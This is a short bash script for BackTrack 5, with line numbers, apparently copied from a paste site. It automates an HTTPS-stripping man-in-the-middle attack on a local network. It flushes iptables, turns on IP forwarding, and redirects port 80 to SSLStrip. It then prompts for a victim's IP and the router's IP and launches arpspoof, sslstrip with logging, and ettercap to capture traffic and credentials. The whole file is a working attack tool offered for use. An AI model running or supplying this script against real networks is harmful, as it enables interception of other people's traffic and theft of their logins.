1. #!/bin/bash
  2. # Script for sniffing https connections.
  3. # Script uses Arpspoof, SSLStrip and Ettercap.
  4. # Tested on BT5-r1 gnome32
  5. # BY gHero
  6. # Ver 0.1
  7.  
  8. # ASCII sniff.sh
  9. clear
  10. echo ' =========================================================
  11. | .__ _____ _____ .__ |
  12. | ______ ____ |__|/ ____\/ ____\ _____| |__ |
  13. | / ___// \| \ __\\ __\ / ___/ | \ |
  14. | \___ \| | \ || | | | \___ \| Y \ |
  15. | /____ >___| /__||__| |__| /\/____ >___| / |
  16. | \/ \/ \/ \/ \/ |
  17. | TESTED bt5r1-gnome32+ettercap 0.7.4-lazarus |'
  18. echo " ========================================================="
  19. sleep 2
  20. killall ettercap
  21. killall arpspoof
  22. killall sslstrip
  23. echo " "
  24. echo " killing all process OK!!!!"
  25. echo " "
  26. sleep 2
  27. #clean
  28. iptables --flush &&
  29. iptables --table nat --flush &&
  30. iptables --delete-chain &&
  31. iptables --table nat --delete-chain &&
  32. echo ' ip-tables flushed OK!!!!'
  33.  
  34. #PORTFORWARDING
  35.  
  36. echo '1' > /proc/sys/net/ipv4/ip_forward
  37.  
  38.  
  39. sleep 1
  40. #CONFIGURE IP-TABLES
  41. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  42.  
  43. sleep 2
  44. # ARPSPOOF
  45. echo
  46. echo -e '\E[30;42m'"<Arpspoof Configuration>"; tput sgr0
  47. echo '------------------------'
  48. echo -n -e '\E[37;41m'"Client IP address:"; tput sgr0
  49. read IP1
  50. echo -n -e '\E[30;47m'"Router's IP address:"; tput sgr0
  51. read IP2
  52.  
  53. echo -n -e '\E[37;44m'"Enter your Interface for example <eth0 or wlan0>:"; tput sgr0
  54. read INT
  55. # xterm window variables
  56. x="0" # x offset value
  57. y="0" # y offset value
  58. width="110" # width value
  59. height="15" # height value
  60. yoffset="220" # y offset
  61.  
  62. xterm -geometry "$width"x$height-$x+$y -bg black -fg white -T "ARPSPOOF" -e 'arpspoof -i '$INT' -t '$IP1' '$IP2'' &
  63. sleep 2
  64. # SSLSTRIP
  65. y=$(($y+$yoffset))
  66. xterm -geometry "$width"x$height-$x+$y -bg red -fg black -T "SSLSTRIP 0.9" -e 'sslstrip -a -w ssl_log.txt' &
  67. sleep 2
  68. # ETTERCAP
  69. y=$(($y+$yoffset))
  70. xterm -geometry "$width"x$height-$x+$y -bg blue -fg white -T "ETTERCAP 0.7.4-Lazarus" -e 'ettercap -T -q -i '$INT'' &
  71.  
  72. # DRIFTNET
  73. #xterm -geometry "$width"x$height-$x+$y -bg black -fg white -T "DRIFTNET" -e driftnet -p -i $INT &
  74.  
  75.